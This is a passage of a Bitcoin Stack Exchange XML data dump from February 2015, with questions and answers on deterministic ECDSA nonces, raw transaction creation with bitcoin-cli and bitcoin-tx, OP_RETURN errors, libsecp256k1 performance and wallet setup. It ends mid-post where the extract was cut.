  <row Id="36122" PostTypeId="2" ParentId="36119" CreationDate="2015-02-19T04:28:42.527" Score="-2" Body="&lt;p&gt;Bitcoin and Litecoin have different inner workings, so many of their parts shouldn't be interchangeable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short answer to your question could be: do you know C++ ? In this case, you could take a look at the parts of the reference implementation of Litecoin where the addresses are generated, and adapt it to C#.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another answer would be to find an alternative library, independent of Litecoin reference implementation. One such implementation seems to be &lt;a href=&quot;https://github.com/MadCapsule/Litecoin-PHP-Library&quot; rel=&quot;nofollow&quot;&gt;Litecoin-PHP-Library&lt;/a&gt;, that is a heavily commented PHP code, where you can find answers to your questions. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="24386" LastEditorUserId="2306" LastEditDate="2015-02-19T06:15:26.407" LastActivityDate="2015-02-19T06:15:26.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36123" PostTypeId="2" ParentId="36090" CreationDate="2015-02-19T04:48:11.853" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So which is it? Does &quot;hard fork&quot; describe a condition of the network, or a software update?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Either is acceptable. You can say that version so-and-so causes a fork, and you can say that the network is currently forked.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Was the March 2013 fork a hardfork?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on your definition. The March 2013 incident initially appeared to be a hard-fork, but a later investigation showed that it was possible to trigger the issue even when all nodes were running the same version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP50&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This would be an issue even if the entire network was running version 0.7.2. It is theoretically possible for one 0.7.2 node to create a block that others are unable to validate, or for 0.7.2 nodes to create block re-orgs that peers cannot validate, because the contents of each node's blkindex.dat database is not identical, and the number of locks required depends on the exact arrangement of the blkindex.dat on disk (locks are acquired per-page).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, it was a hardfork in the sense that newer clients would create and validate blocks that an older client would not see as valid.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-07-09T22:50:18.140" LastActivityDate="2016-07-09T22:50:18.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36124" PostTypeId="2" ParentId="36119" CreationDate="2015-02-19T06:26:20.437" Score="3" Body="&lt;p&gt;That's odd, since BAU's docs say that they ought to work with Litecoin. In the drop-down menu that selects the coin type, have you selected Litecoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, if you're willing to run an RPC node, you could use &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;BitcoinLib&lt;/a&gt;, and call &lt;code&gt;CoinService.GetNewAddress(String)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, it's exactly the same as generating Bitcoin addresses, except that the version byte is 48 instead of 0.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-19T06:34:58.570" LastActivityDate="2015-02-19T06:34:58.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36125" PostTypeId="2" ParentId="36117" CreationDate="2015-02-19T11:38:45.510" Score="6" Body="&lt;p&gt;Use the secondary click on a address and then the &quot;Send from&quot; option.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="2467" LastEditDate="2015-02-19T15:22:30.217" LastActivityDate="2015-02-19T15:22:30.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36127" PostTypeId="1" AcceptedAnswerId="36142" CreationDate="2015-02-19T14:14:08.633" Score="11" ViewCount="3321" Body="&lt;p&gt;Generating random number &lt;code&gt;k&lt;/code&gt; in elliptic curve is crucial and in any transactions signature in Bitcoin, random number &lt;code&gt;k&lt;/code&gt; is required to compute a point &lt;code&gt;k*G&lt;/code&gt;. If this &lt;code&gt;k&lt;/code&gt; is chosen not randomly, it instantly leaks the private key. &lt;br/&gt;&#xA;Therefore, they came up with an idea of deterministic generation of ECDSA which is described in &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6979&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC6979&lt;/a&gt;. Basically they concatenate the private key with the hashed message and use an HMAC function and generate a pseudo random &lt;code&gt;k&lt;/code&gt;. &lt;br/&gt;&#xA;This method seems simple and easy.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does it introduce any overhead?&lt;/li&gt;&#xA;&lt;li&gt;If yes, is this overhead negligible?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Or generally is there any inefficiencies or problem with this method and why do we still see non-deterministic implementation of ECDSA?&lt;/p&gt;&#xA;" OwnerUserId="21331" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2015-02-25T05:54:23.843" Title="Problems with deterministic ECDSA based on RFC6979 in Bitcoin" Tags="|signature|cryptography|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36128" PostTypeId="1" AcceptedAnswerId="36131" CreationDate="2015-02-19T14:17:55.950" Score="1" ViewCount="335" Body="&lt;p&gt;I'm newbie with bitcoin, i'm trying to generate a rawtransaction but bitcoin-cli sendrawtransaction return me an error code -25.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;locktime&quot;: 0, &#xA;  &quot;version&quot;: 1, &#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;sequence&quot;: 4294967295, &#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;hex&quot;: &quot;48304502204912c3f006284a9d0b57ded3fc8f04f72e2a48000f28967e0069bda6a9d8bac6022100e7af707986ff5b52e5d5868726156eded2ef29ccda1a8ad83f98d71597dcdce3012102d7c641bc6e04d3717416356e1b42fb5c5be6780f8c819715789efc6dafdf0539&quot;, &#xA;        &quot;asm&quot;: &quot;304502204912c3f006284a9d0b57ded3fc8f04f72e2a48000f28967e0069bda6a9d8bac6022100e7af707986ff5b52e5d5868726156eded2ef29ccda1a8ad83f98d71597dcdce301 02d7c641bc6e04d3717416356e1b42fb5c5be6780f8c819715789efc6dafdf0539&quot;&#xA;      }, &#xA;      &quot;vout&quot;: 1, &#xA;      &quot;txid&quot;: &quot;a713489612f927ccc3c410173a8d616d6f17df0774e3e79d7715b4cfc72ec6a4&quot;&#xA;    }&#xA;  ], &#xA;  &quot;vout&quot;: [&#xA;    {&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;type&quot;: &quot;nulldata&quot;, &#xA;        &quot;hex&quot;: &quot;6a0a444b4559736563726574&quot;, &#xA;        &quot;asm&quot;: &quot;OP_RETURN 444b4559736563726574&quot;&#xA;      }, &#xA;      &quot;value&quot;: 0.0, &#xA;      &quot;n&quot;: 0&#xA;    }&#xA;  ], &#xA;  &quot;txid&quot;: &quot;4481f82e7d6b298597d211881b107740bc0f2b2244e898261c42c38505a3efb8&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong?&lt;/p&gt;&#xA;" OwnerUserId="24410" LastEditorUserId="2306" LastEditDate="2015-02-19T16:46:32.320" LastActivityDate="2015-02-19T16:46:32.320" Title="OP_RETURN in rawtransaction rejected with error code -25" Tags="|raw-transaction|rpc-error-25|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36129" PostTypeId="1" AcceptedAnswerId="36137" CreationDate="2015-02-19T14:44:30.707" Score="1" ViewCount="131" Body="&lt;p&gt;When I explore the blockchain on blockchain.info, all Bitcoin addresses seem to have an even number of transactions, e.g. &lt;a href=&quot;https://blockchain.info/address/16Zugc8aq9sPkxBYXyYGqJHTizRzT5wTQg&quot; rel=&quot;nofollow&quot;&gt;16Zugc8aq9sPkxBYXyYGqJHTizRzT5wTQg&lt;/a&gt; has 16 transactions.&lt;br&gt;&#xA;I have looked at a lot of other addresses, too, but couldn't find any with an odd number of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can anyone show me a Bitcoin address with an odd number of transactions?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24409" LastEditorUserId="5406" LastEditDate="2015-02-19T17:23:53.883" LastActivityDate="2015-02-19T17:25:42.210" Title="Are there Bitcoin addresses with an odd number of transactions?" Tags="|transactions|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36130" PostTypeId="2" ParentId="36129" CreationDate="2015-02-19T15:01:11.747" Score="0" Body="&lt;p&gt;I suppose that, normally, people spend their bitcoins soon and/or use several addresses (each one for 1 or few transaction); the following addresses shows an exception, which I, finally, found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/126b9vwrfEYH6NehYmUCTjAga4Dg8UocAQ&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/126b9vwrfEYH6NehYmUCTjAga4Dg8UocAQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24409" LastEditorUserId="24409" LastEditDate="2015-02-19T15:13:14.557" LastActivityDate="2015-02-19T15:13:14.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36131" PostTypeId="2" ParentId="36128" CreationDate="2015-02-19T15:08:05.353" Score="0" Body="&lt;p&gt;There is no txid=a713489612f927ccc3c410173a8d616d6f17df0774e3e79d7715b4cfc72ec6a4 in blockchain. You are trying to spend non-existed output.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-02-19T15:08:05.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36132" PostTypeId="2" ParentId="8080" CreationDate="2015-02-19T15:30:45.473" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://walletnotify.com/&quot; rel=&quot;nofollow&quot;&gt;https://walletnotify.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;unlimited notifications&lt;/li&gt;&#xA;&lt;li&gt;very quick response time&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15210" LastActivityDate="2015-02-19T15:30:45.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36133" PostTypeId="1" AcceptedAnswerId="36134" CreationDate="2015-02-19T16:35:30.307" Score="3" ViewCount="258" Body="&lt;p&gt;Bitcoin 0.10 uses getheaders to synchronize. How long has this message been supported by other clients? How many existing nodes support it?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-02-19T16:43:57.903" Title="When was getheaders added?" Tags="|synchronization|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36134" PostTypeId="2" ParentId="36133" CreationDate="2015-02-19T16:42:05.397" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How long has this message been supported by other clients?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It was added by Satoshi in Bitcoin v0.3.18 (released on december 8th, 2010)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How many existing nodes support it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All of them. It has been used by SPV clients for a long time to do fast synchronization without downloading all historical blocks.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-02-19T16:42:05.397" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36136" PostTypeId="1" AcceptedAnswerId="36138" CreationDate="2015-02-19T16:59:32.600" Score="8" ViewCount="1634" Body="&lt;p&gt;Bitcoin Core is eventually going to replace OpenSSL with libsecp256k1 for all ECDSA operations. As I understand it, this is motivated by wanting consensus-critical rules to not depend on OpenSSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is libsecp256k1 signature verification also faster than OpenSSL? I've heard conflicting information about that.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="121614" LastEditDate="2023-11-21T18:49:02.623" LastActivityDate="2023-11-21T18:49:02.623" Title="Is libsecp256k1 faster than OpenSSL?" Tags="|bitcoin-core-development|ecdsa|secp256k1|performance|openssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36137" PostTypeId="2" ParentId="36129" CreationDate="2015-02-19T17:17:37.230" Score="0" Body="&lt;p&gt;Usually, people spend all outputs from one address in one transaction. If only one transaction was received before each spending, it'll lead to an even number of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just look for addresses that collect tips, such as &lt;a href=&quot;https://blockchain.info/de/address/1comboyNsev2ubWRbPZpxxNhghLfonzuN&quot; rel=&quot;nofollow&quot;&gt;Comboy's whiskey fund&lt;/a&gt; on &lt;a href=&quot;http://bitcoinity.org/markets&quot; rel=&quot;nofollow&quot;&gt;Bitcoinity&lt;/a&gt;. This particular address has been used &quot;unusually&quot;: It currently has 379 transactions.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-02-19T17:25:42.210" LastActivityDate="2015-02-19T17:25:42.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36138" PostTypeId="2" ParentId="36136" CreationDate="2015-02-19T18:27:19.573" Score="10" Body="&lt;p&gt;Yes it's a lot faster. For example from one of the core developers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;reddit - Pieter Wuille / 2015-02-19 18:13&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Just did a benchmark on libsecp256k1's current master, without GMP,&#xA;  without hand-written assembly, and it's around 3.6x faster than&#xA;  OpenSSL on my machine (64-bit code, i7 cpu). When the assembly is&#xA;  compiled in (which does not require any extra dependencies anymore),&#xA;  it's 4.9 times faster.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2weymr/experiment_bitcoin_core_0100_initial_sync_time/coqghm2&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/2weymr/experiment_bitcoin_core_0100_initial_sync_time/coqghm2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This talks about signature verification, which is currently the bottleneck when catching up to the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="6091" LastEditDate="2015-02-19T23:29:33.860" LastActivityDate="2015-02-19T23:29:33.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36139" PostTypeId="2" ParentId="36112" CreationDate="2015-02-19T22:35:40.003" Score="1" Body="&lt;p&gt;This article from coindesk may answer some of your questions although it is almost a year old now &lt;a href=&quot;http://www.coindesk.com/year-multisig-so-far/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/year-multisig-so-far/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no information attached in multisig transactions to tell us what it is being used for so you can only guess. There are not any exchanges that uses multisig for any customer facing applications. There are however many online wallets, such as the one offered by Coinbase or Greenaddress , that uses multisig for better security. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-02-19T22:35:40.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36140" PostTypeId="1" AcceptedAnswerId="36141" CreationDate="2015-02-20T03:46:05.850" Score="4" ViewCount="3757" Body="&lt;p&gt;I'm trying to create a raw transaction using Bitcoin Core v0.10.0 (on Windows 7 x64, and with txindex=1 optioned).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core v0.10.0 comes with a new &lt;em&gt;Bitcoin-tx&lt;/em&gt; executable utility. The help menu is as follows (under Windows 7 x64):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin Core bitcoin-tx utility version v0.10.0&#xA;&#xA;Usage:&#xA;  bitcoin-tx [options] &amp;lt;hex-tx&amp;gt; [commands]  Update hex-encoded bitcoin transaction&#xA;  bitcoin-tx [options] -create [commands]   Create hex-encoded bitcoin transaction&#xA;&#xA;Options:&#xA;  -?                      This help message&#xA;  -create                 Create new, empty TX.&#xA;  -json                   Select JSON output&#xA;  -txid                   Output only the hex-encoded transaction id of the resultant transaction.&#xA;  -regtest                Enter regression test mode, which uses a special chain in which blocks can be solved instantly.&#xA;  -testnet                Use the test network&#xA;&#xA;Commands:&#xA;  delin=N                Delete input N from TX&#xA;  delout=N               Delete output N from TX&#xA;  in=TXID:VOUT           Add input to TX&#xA;  locktime=N             Set TX lock time to N&#xA;  nversion=N             Set TX version to N&#xA;  outaddr=VALUE:ADDRESS  Add address-based output to TX&#xA;  outscript=VALUE:SCRIPT Add raw script output to TX&#xA;  sign=SIGHASH-FLAGS     Add zero or more signatures to transaction&#xA;      This command requires JSON registers:&#xA;      prevtxs=JSON object&#xA;      privatekeys=JSON object&#xA;      See signrawtransaction docs for format of sighash flags, JSON objects.&#xA;&#xA;Register Commands:&#xA;  load=NAME:FILENAME     Load JSON file FILENAME into register NAME&#xA;  set=NAME:JSON-STRING   Set register NAME to given JSON-STRING&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Windows CLI, I'm running into issues with &lt;em&gt;createrawtransaction&lt;/em&gt; as it's not parsing the command the same as it does in the Bitcoin-QT console window. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli createrawtransaction [{&quot;txid&quot;:&quot;dbdc2e2c7f143af70c5e7e8725f55d226b3c058d7bf34a303091b3c6a514848c&quot;,&quot;vout&quot;:1}] {&quot;1BCi1L25GC9hUSvtSyGjmEvSyywoYubk4P&quot;:0.00011}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives &lt;code&gt;error: Error parsing JSON:[{txid:dbdc2e2c7f143af70c5e7e8725f55d226b3c058d7bf34a303091b3c6a514848c,vout:1}]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, the &lt;code&gt;bitcoin-tx&lt;/code&gt; utility won't work with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-tx.exe -create in=dbdc2e2c7f143af70c5e7e8725f55d226b3c058d7bf34a303091b3c6a514848c:1 locktime=0 nversion=1 outaddr=2000:1BCi1L25GC9hUSvtSyGjmEvSyywoYubk4P outscript=0:687474703a2f2f676f6f2e676c2f7869556243555&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I create a raw transaction using &lt;em&gt;Bitcoin-cli&lt;/em&gt; and &lt;em&gt;bitcoin-tx&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-02-20T05:04:58.170" Title="Creating a raw transaction using Bitcoin Core v0.10.0 bitcoin-tx / createrawtransaction" Tags="|client|windows|raw-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36141" PostTypeId="2" ParentId="36140" CreationDate="2015-02-20T05:04:58.170" Score="3" Body="&lt;p&gt;For the first command, you need to include the JSON in single quotes, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli createrawtransaction '[{&quot;txid&quot;:&quot;dbdc2e2c7f143af70c5e7e8725f55d226b3c058d7bf34a303091b3c6a514848c&quot;,&quot;vout&quot;:1}]' '{&quot;1BCi1L25GC9hUSvtSyGjmEvSyywoYubk4P&quot;:0.00011}'&#xA;01000000018c8414a5c6b39130304af37b8d053c6b225df525877e5e0cf73a147f2c2edcdb0100000000ffffffff01f82a0000000000001976a9146fe8102ebe0fccb56de43ec82601ba16c68496af88ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;bitcoin-tx&lt;/code&gt; utility uses a shorthand that is deployed in the bitcoin unit tests. This example might help you use this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./bitcoin-tx -create in=0fb9df5614be8b33be0434ce4062750d83f1b7ce05cc1296604f82eb9abf802b:0 outscript=0.00159999:&quot;DUP HASH160 0x14 0x6793a38f79b8cd51dbb6face6dc75a4af5c1bf29 EQUALVERIFY CHECKSIG&quot;&#xA;01000000012b80bf9aeb824f609612cc05ceb7f1830d756240ce3404be338bbe1456dfb90f0000000000ffffffff01ff700200000000001976a9146793a38f79b8cd51dbb6face6dc75a4af5c1bf2988ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code for parsing the scripts can be found &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0/src/core_read.cpp#L27&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. However, I find just looking at some examples in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0/src/test/data/tx_valid.json#L60&quot; rel=&quot;nofollow&quot;&gt;the unit test data&lt;/a&gt; to be helpful as well.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-02-20T05:04:58.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36142" PostTypeId="2" ParentId="36127" CreationDate="2015-02-20T05:13:49.750" Score="11" Body="&lt;p&gt;Not any serious efficiency concerns. Signing is done fairly infrequently for any particular client (only a few signatures per transaction usually). While possible that the signing might take slightly longer to generate the &lt;code&gt;k&lt;/code&gt; value, it would not be noticeable, especially considering how infrequently it is used by any one particular client. It's the verification of all the signatures that is the CPU bottleneck for block verification in bitcoin, because all full nodes have to verify the signatures of all the transactions on the network, and this takes the same time regardless of how the &lt;code&gt;k&lt;/code&gt; parameter was chosen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gregory Maxwell made a comment about the use of deterministic &lt;code&gt;k&lt;/code&gt; values &lt;a href=&quot;http://permalink.gmane.org/gmane.comp.bitcoin.devel/2734&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The primary arguments in most spaces against derandomizing DSA are&#xA;  FIPS conformance (irrelevant for us) and reasonable concerns about the&#xA;  risks of using a (less) reviewed cryptographic construct. With&#xA;  widespread motion towards derandomized DSA this latter concern is less&#xA;  of an issue.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The new &lt;a href=&quot;https://github.com/bitcoin/secp256k1&quot; rel=&quot;noreferrer&quot;&gt;libsecp256k1&lt;/a&gt; library by Pieter Wuille actually uses deterministic generation of &lt;code&gt;k&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that one of the key benefits of using this construction is that you need not worry about a weakness in your PRNG being exploited in the signing process. For example, signing different pieces of data with the same &lt;code&gt;k&lt;/code&gt; value &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35848/recovering-private-key-when-someone-uses-the-same-k-twice-in-ecdsa-signatures&quot;&gt;instantly leaks your private key&lt;/a&gt;. A similar attack can also be exploited if the PRNG is weak enough to determine the relationship between different &lt;code&gt;k&lt;/code&gt; values used when signing the same piece of data. Since the &lt;code&gt;k&lt;/code&gt; is deterministically generated from the data you are signing (and the private key), these concerns about the PRNG are no longer as relevant, as you will always produce the same signature for the same piece of data. This also makes writing ECDSA unit tests easier. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-02-20T17:06:25.103" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="36143" PostTypeId="2" ParentId="36113" CreationDate="2015-02-20T05:36:26.333" Score="4" Body="&lt;p&gt;The Peer to Peer protocol (using &lt;code&gt;version&lt;/code&gt;, &lt;code&gt;verack&lt;/code&gt;, &lt;code&gt;getdata&lt;/code&gt;, ... etc. messages) is used by all clients communicating on the network. This protocol is how data is spread through the network. This is done directly over TCP/IP. Messages have their own format (not JSON) and allow the spread of transactions and blocks through the network. Read more at: &lt;a href=&quot;https://bitcoin.org/en/developer-reference#protocol-versions&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-reference#protocol-versions&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a Bitcoin Core full node has received the block and transaction data via this P2P protocol, then a user can use the RPC interface to query the node about the data it has received. The JSON-RPC interface used is specific to Bitcoin Core, although other clients may introduce similar interfaces for ease of use. Nodes do not typically communicate with each other using the RPC interface at all, the RPC calls are more like tools that Bitcoin Core provides for developers to give them access to the blockchain data. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-02-20T05:36:26.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36144" PostTypeId="1" CreationDate="2015-02-20T08:27:58.877" Score="8" ViewCount="6828" Body="&lt;p&gt;Ok, well I've been watching the Bitcoin trend with some interest for several years. And I've finally decided to get involved myself. So yesterday and today I've been reading for several hours from the many resources in &lt;a href=&quot;https://bitcoin.stackexchange.com/q/22796/3005&quot;&gt;this question&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/a/22840/3005&quot;&gt;this great answer&lt;/a&gt;. I read &lt;a href=&quot;http://evoorhees.blogspot.com/2012/04/bitcoin-libertarian-introduction.html&quot; rel=&quot;noreferrer&quot;&gt;this blog post&lt;/a&gt; in its entirety and think I understood it completely. I understand that in order to pay someone or be paid in BTC, I need a bitcoin ID and that this goes hand-in-hand with getting a BTC &quot;wallet&quot;. I understand that there are essentially two distinct options for my BTC wallet:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a locally-stored (on my computer) copy of the entire block chain&lt;/li&gt;&#xA;&lt;li&gt;a remotely-stored (on someone else's computer) copy of the entire&#xA;    block chain that is encrypted with credentials such that only I have&#xA;    access to it (although Mt. Gox failure and so many others seem to&#xA;    show that this is less secure than the former)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think a synonym for option 1 above is &quot;cold-storage&quot; although I'm not certain of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that mining for BTC is a different thing altogether that is really only worthwhile with an ASIC or similar hardware, so I'm not at all interested in mining at this point. I just want to get myself an ID and wallet and understand Bitcoin well enough to be able to keep my own copy of the block chain on my local machine and keep it up-to-date. Maybe eventually I'll look into mining, but I'm not interested right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Erik Voorhees blog post, I think I understand that if I want option 1 above (which I do as it seems more secure to me, and convenience is not at all important to me), then I need to install either bitcoind or bitcoin-qt. (I suppose that both of these are considered to be part of &quot;Bitcoin Core&quot; below?) This is reinforced by my review of the software tools I see at bitcoin.org:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet#&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Core&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Control over your money&lt;/li&gt;&#xA;&lt;li&gt;Full validation&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Complete transparency&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Vulnerable environment&lt;/li&gt;&#xA;&lt;li&gt;Improved privacy&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;whereas the best that any of the others for Linux there:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet#&quot; rel=&quot;noreferrer&quot;&gt;Electrum&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet#&quot; rel=&quot;noreferrer&quot;&gt;mSIGNA&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet#&quot; rel=&quot;noreferrer&quot;&gt;MultiBit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet#&quot; rel=&quot;noreferrer&quot;&gt;Armory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet#&quot; rel=&quot;noreferrer&quot;&gt;Green Address&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;can offer regarding transparency is &quot;Basic Transparency&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand from &lt;a href=&quot;https://bitcoin.stackexchange.com/a/13369/3005&quot;&gt;this answer&lt;/a&gt; that although it's possible to have them both installed on the same system, one cannot have both bitcoind &lt;strong&gt;and&lt;/strong&gt; bitcoin-qt running on the same system at the same time. So my question is about how to configure and get started running bitcoind in Arch Linux; but there are several specific issues I 